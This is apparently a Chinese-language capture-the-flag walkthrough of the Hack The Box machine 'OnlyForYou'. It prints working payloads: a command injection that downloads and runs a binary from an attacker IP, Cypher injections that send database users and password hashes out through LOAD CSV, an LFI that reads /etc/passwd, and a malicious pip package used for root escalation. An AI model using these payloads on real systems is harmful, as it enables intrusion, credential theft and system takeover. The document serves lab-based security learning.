Recommand: Let’s Sign Up HTB Academy to get Higher level of knowledge :P
非常推薦: 想要變强嗎? 快來加入 HTB Academy 獲得更高級的知識吧 :P
OnlyForYou
https://www.hackthebox.com/achievement/machine/463126/540
首先使用 nmap 掃描目標,發現只有 80 端口開放,並找到 only4you.htb 這個域名。進一步探索子域名 beta.only4you.htb,發現可以下載源碼。分析源碼時,注意到 /download API 使用 os.path.join 函數,允許絕對路徑,從而實現了本地文件包含(LFI)攻擊,成功讀取 /etc/passwd 文件。接著,使用 LFI 字典進行掃描,發現了網站的 Python 源碼文件 app.py 和 form.py。分析 form.py 時,發現可以利用正則表達式匹配漏洞,通過精心構造的 payload 獲得 reverse shell。獲得 shell 後,發現需要進行端口轉發,使用工具如 chisel 或 ligolo-ng 來實現。進一步分析內部服務,發現 3000 端口運行 Gogs,7474 端口運行 Neo4j。嘗試使用 Cypher 注入技術來獲取數據庫信息,成功獲得用戶名和密碼。通過 hashcat 破解密碼後,以 john 用戶身份登錄,發現可以以 root 權限運行 pip3。利用 pip3 的漏洞,創建惡意軟件包並上傳至 Gogs,最終通過 pip3 download 命令執行惡意代碼,成功獲得 root 權限。
Recon
一開始肯定是使用nmap掃一下。
Nmap Tcp scan
1 | PORT STATE SERVICE REASON VERSION |
看起來只是開了80端口。
Fuzzing sub-domain
從上面的結果中可以看到存在 only4you.htb
這個域名,所以可以簡單的掃一下子域名:
1 | $ ffuf -u "http://only4you.htb/" -H "Host: FUZZ.only4you.htb" -w /Tools/Wordlists/N0kovoSubdomains/n0kovo_subdomains_small.txt -fc 301 |
發現了一個 beta
,把它加進去 /etc/hosts
裏。
only4you.htb
首先先大概看一下 only4you.htb
這個網頁的内容:
什麽也沒有看到。
beta.only4you.htb
所以先看一下子域名: beta.only4you.htb
點擊 Source Code
之後可以下載源碼,所以看一下源碼長什麽樣子。
Source code review for beta.only4you.htb
在這個源代碼中發現 /download
的 api 中調用了 os.path.join
這個函數:
在第一個條件中不允許 ..
,也就是相對路徑,但如果傳遞的是絕對路徑會發生什麽?也就是這行:
1 | filename = os.path.join(app.config['LIST_FOLDER'], filename) |
根據這篇文章,儅第二個參數是絕對路徑,結果就會被取代成絕對路徑:
如下:
Exploit os.path.join to get LFI
既然是這樣,所以嘗試試一下請求 image=/etc/passwd
結果真的可以獲取 /etc/passwd
裏面的内容。那麽問題來了,有了LFI之後可以做些什麽?
Fuzzing linux local file inclusion
所以我把它保存在一個文件裏面 fuzz_lfi
,然後把傳遞 image
的參數改成 FUZZ
:
之後使用常見的LFI字典,比如 LFI-gracefulsecurity-linux.txt
,去掃描一下:
1 | $ ffuf -request-proto http -request fuzz_lfi -w /Tools/Wordlists/SecLists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt -mc 200 -fs 0 |
其中:
/etc/nginx/sites-available/default
這個路徑是放置默認的 nginx 網站配置文件,一般會有網站的目錄,所以讀取一下可以得到:
Fuzzing file on /var/www/only4you.htb/
由於 only4you.htb
裏的内容還沒有看過,所以再一次 fuzz 一下:
由於不需要fuzz整個linux path,所以可以換一個字典,這裏使用的是 SVNDigger/all.txt
裏面包括一些常見的用戶名:
1 | $ ffuf -request-proto http -request fuzz_lfi -w /Tools/Wordlists/SecLists/Discovery/Web-Content/SVNDigger/all.txt -mc 200 -fs 0 |
得到了 app.py
,所以 only4you.htb
這個網站下也是 python 寫的。
Fuzzing py extension file on /var/www/only4you.htb/
既然知道是 py
結尾的,那就可以繼續 fuzz py
後綴名:
得到 app.py
和 form
這兩個。
Analysis source code
通過lfi 訪問 /var/www/only4you.htb/app.py
可以看得到他是調用了 form.py
這個文件:
所以嘗試請求 /var/www/only4you.htb/form.py
,可以看到:
由於burp 顯示排版有問題,所以嘗試保存到文件中,打開后看到這一行:
其中這一行非常有意思:沒有匹配到,就返回 1 ,如果匹配到了就繼續執行,這裏的匹配不是完全匹配,而是一堆文字裏面出現上面的正則表達式就算匹配到。
也就是說,當我的payload是這樣的時候:
1 | mane@manesec.com ; curl 10.10.16.31/mane -o /tmp/mane ; chmod 777 /tmp/mane ; /tmp/mane |
如果正則表達式 ([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})
可以匹配文字裏的内容,也就是上面的 mane@manesec.com
,就繼續執行。
然後到達這裏:
1 | domain = email.split("@", 1)[1] |
之後這裏的 domain = email.split("@", 1)[1]
對應的上面的payload 是 manesec.com ; curl 10.10.16.31/mane -o /tmp/mane ; chmod 777 /tmp/mane ; /tmp/mane
值得注意的是 shell=True
暗示著使用shell來執行,所以實際上就運行 dig manesec.com ; curl 10.10.16.31/mane -o /tmp/mane ; chmod 777 /tmp/mane ; /tmp/mane
這樣就可以得到 reverse shell。
Send email to gain reverse shell
所以打開在 only4you.htb
:
隨便發送一些郵件,使用burp截取一下:
然後把 payload 轉換成 url 編碼,發送後就得到了 web shell :
看了一下本地的端口:
發現本地還存放著其他的服務,所以需要端口轉發到本地,由於 www-data
在 /etc/passwd
中被設定成了 /usr/sbin/nologin
,所以不能使用 ssh 來端口轉發:
Setup ligolo-ng tunnel
可以使用 chisel 或者 ligolo-ng,關於用法可以參考:
首先先讓 ligolo-ng 的 agent 和 server 進行通訊:
1 | # 本地 kali |
連接好了之後如下圖:
從官方文檔中,可以看到需要轉發 240.0.0.1
:
所以需要新建一個interface,然後把 240.0.0.1/32
綁定到該路由,這裏就叫 mane
,之後啓動監聽:
1 | [Agent : www-data@only4you] » iflist |
成功了之後嘗試訪問對面機器的端口,比如3000,如果可以正常顯示,那麽就成功了:
3000 端口是一個 Gogs
,類似代碼倉庫的東西,7474是 neo4j
的服務器:
Walking around port 8001 and neo4j
8001 這裏有一個後臺頁面:
如果使用 admin:admin
登錄的話會得到:
然後 dashboard
這裏可以搜索一些東西:
使用 burp 截取了東西后嘗試跑一下 sqlmap,結果失敗了:
這就意味著該服務器可能是 neo4j。
Induction for neo4j injection And Guessing injection location
所以可以嘗試搜索一下 neo4j 的 注入:
看到這篇:https://book.hacktricks.xyz/pentesting-web/sql-injection/cypher-injection-neo4j
裏面有另外兩篇的鏈接:
- https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits
- https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8
另外還找到了比較全面的injection:https://pentester.land/blog/cypher-injection-cheatsheet/
這裏就總結一下:
在 Neo4j 中,數據庫的結構與傳統的關係型數據庫不同,因為它是基於圖形的數據庫。Neo4j 中沒有「表」的概念,而是由「節點」和「關係」組成。你可以使用 Cypher 查詢語言來獲取數據。
如果你想查看數據庫中的所有節點類型和關係類型,可以使用以下 Cypher 查詢:
獲取服務器的信息:
CALL dbms.components()
獲取所有節點的標籤:
CALL db.labels()
獲取所有關係的類型:
CALL db.relationshipTypes()
查看節點的所有屬性:
MATCH (n:Person) RETURN keys(n) AS properties
在這一篇中 https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits
他告訴我需要猜測一下 injection 的位置,也就是運行語法時的位置,由於搜索 id 的那個位置更有可能是 MATCH (o) WHERE o.id = "{input}"
,所以假設我要獲取服務器的版本信息:
所以嘗試開一個服務器看看能不能收到查詢的結果,如果可以就可以查詢一些内容返回到http 服務器上:
1 | ' OR 1=1 WITH 1 as _l00 CALL dbms.components() yield name LOAD CSV FROM 'http://10.10.16.31/' name as _l RETURN 1 // |
就得到了版本内核的名字。
Guessing Label
既然成功了可以返回内容,那麽説明猜測注入的位置是對的。所以開始執行其他的語句,首先最需要知道的是 Label,label 可以看成是一個節點的類型。
爲了增加成功率在本地開一個 neo4j 去測試,由於需要發送到 http 服務器,需要把查詢結果給合并成一個字符串,然後使用 LOAD CSV FROM
,reduce
就可以完成這一件事,所以在本地的 neo4j 測試中得到:
1 | CALL db.labels() YIELD label |
可以用來查詢所有節點的信息并且合并成字符串,然後替換掉上面的payload 就會變成如下:
1 | ' OR 1=1 WITH 1 as qq CALL db.labels() YIELD label WITH COLLECT(label) AS labels with reduce(result = '', label IN labels | result label ', ') AS testing LOAD CSV FROM "http://10.10.16.31/?a=" testing as mane RETURN 0 as _o // |
可以看到他重複了四次,因爲 with 可以被看成是一個管道,所以只需要加一個 limit 1
即可:
1 | ' OR 1=1 WITH 1 as qq limit 1 CALL db.labels() YIELD label WITH COLLECT(label) AS labels with reduce(result = '', label IN labels | result label ', ') AS testing LOAD CSV FROM "http://10.10.16.31/?a=" + testing as mane RETURN 0 as _o // |
然後節點的類型是 user
和 employee
。
Guessing RelationshipTypes
既然是這樣,也可以猜測下某個節點和某個節點中有什麽關係,獲取關係的函數如下:
1 | CALL db.relationshipTypes() |
把他合并成一個字符串如下:
1 | CALL db.relationshipTypes() YIELD relationshipType WITH COLLECT(relationshipType) AS relationshipTypes with reduce(result = '', relationshipType IN relationshipTypes | result + relationshipType + ', ') AS testing return testing |
改成payload后如下:
1 | ' OR 1=1 WITH 1 as qq limit 1 CALL db.relationshipTypes() YIELD relationshipType WITH COLLECT(relationshipType) AS relationshipTypes with reduce(result = '', relationshipType IN relationshipTypes | result + relationshipType + ', ') AS testing LOAD CSV FROM "http://10.10.16.31/?a=" + testing as mane RETURN 0 as _o // |
結果是空的,空的説明節點和節點之間沒有任何關係。
Guessing Properties and Exploit
既然有了節點的類型,那麽就可以獲取節點的屬性,所以看一下一個節點裏面有什麽屬性,在本地的測試中獲取 User
的語法是這樣的:
1 | MATCH (n:User) with keys(n) AS properties limit 1 UNWIND properties as propertie with reduce(result = '', propertie IN properties | result + propertie + ', ') AS testing limit 1 return testing |
把他發送到遠程的服務器語法是這樣的:
1 | MATCH (n:User) with keys(n) AS properties limit 1 UNWIND properties as propertie with reduce(result = '', propertie IN properties | result + propertie + ', ') AS testing limit 1 LOAD CSV FROM "http://10.10.16.31/?a=" + testing as mane RETURN 0 as _o // |
由於上面是 User
但是對面的服務器是 user
,所以payload就是:
1 | ' OR 1=1 WITH 1 as qq limit 1 MATCH (n:user) with keys(n) AS properties limit 1 UNWIND properties as propertie with reduce(result = '', propertie IN properties | result + propertie + ', ') AS testing limit 1 LOAD CSV FROM "http://10.10.16.31/?a=" + testing as mane RETURN 0 as _o // |
得到這個節點的屬性有 password
和 username
,也就是 user.password
和 user.username
,這個時候就可以僞造一個payload來獲取數據庫裏面的内容:
1 | match (mane:User) with mane.username + " " + mane.password as result skip 0 limit 1 LOAD CSV FROM "http://10.10.16.31/?a=" + result as manesec RETURN 0 as _o // |
其中的 skip 0
是 offset,這樣就得到:
這樣就得到了用戶名和密碼。 由於 skip 0
是第一個用戶,所以可以使用 Intruder
來從0開始到100,這樣就可以提取全部的用戶,這裏先從 0 到 10 看一下效果:
設置好后運行就得到:
1 | 10.129.250.120 - - [25/Dec/2024 08:28:18] code 400, message Bad request syntax ('GET /?a=admin 8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1') |
看到 john
存在 /etc/passwd
這個文件中:
所以嘗試跑一下hashcat:
1 | a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 |
得到密碼
1 | a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6:ThisIs4You |
所以可以嘗試 su 到 john
,結果就得到了 user shell
Exploit with sudo for pip3 downlaod
看到 john 可以以root的身份運行:
1 | (root) NOPASSWD: /usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz |
也就是想辦法讓 pip3 安裝惡意軟件包,所以搜索下,
看到這篇:https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/pip-download-code-execution/
首先在本地的環境下運行下面的命令準備exploit:
1 | mkdir exploitpy |
然後修改 setup.py
成以下内容,儅pip3 安裝的時候就會執行 RunEggInfoCommand
和 RunInstallCommand
:
1 | # setup.py |
之後打包成pip包:
1 | python3 -m build |
在 dist
文件夾裏面得到 *.tar.gz
這個文件:
由於沒辦法注冊用戶,所以使用 john 登錄:
然後隨便創建一個公開的項目,這裏就叫 exploit
:
之後使用 git 把剛剛製作好的 pip 包上傳上去:
1 | git init |
成功了之後會得到:
點擊那個 tar.gz
的文件,右邊有一個raw:
複製鏈接后會得到:
1 | http://240.0.0.1:3000/john/exploit/raw/master/exploitpy-0.0.1.tar.gz |
然後只需要使用 sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/exploit/raw/master/exploitpy-0.0.1.tar.gz
等安裝完了就可以使用 bash -p
得到 root 了。
1 | bash-5.0# cat /etc/shadow |
Thanks
Respect: If my writeup really helps you, Give me a respect to let me know, Thankssssss!
感謝: 製作不易,如果我的writeup真的幫到你了, 給我一個respect,這樣我就會知道,感謝你!
Found Mistakes: If you find something wrong in the page, please feel free email to mane@manesec.com thanksss !!!
發現一些錯誤: 如果你在文章中發現一些錯誤,請發郵件到 mane@manesec.com ,麻煩了!!
Beginner Recommand: If you are a beginner, please use this link to sign up for an HTB Academy to get more Higher level of knowledge.
新手非常推薦: 如果你是初學者,可以用此鏈接來嘗試注冊 HTB Academy 賬號。
使用上面的鏈接加入 HTB 的 academy 完成 INTRODUCTION TO ACADEMY
這個模塊后可以解鎖更多的功能!
Join HTB’s academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)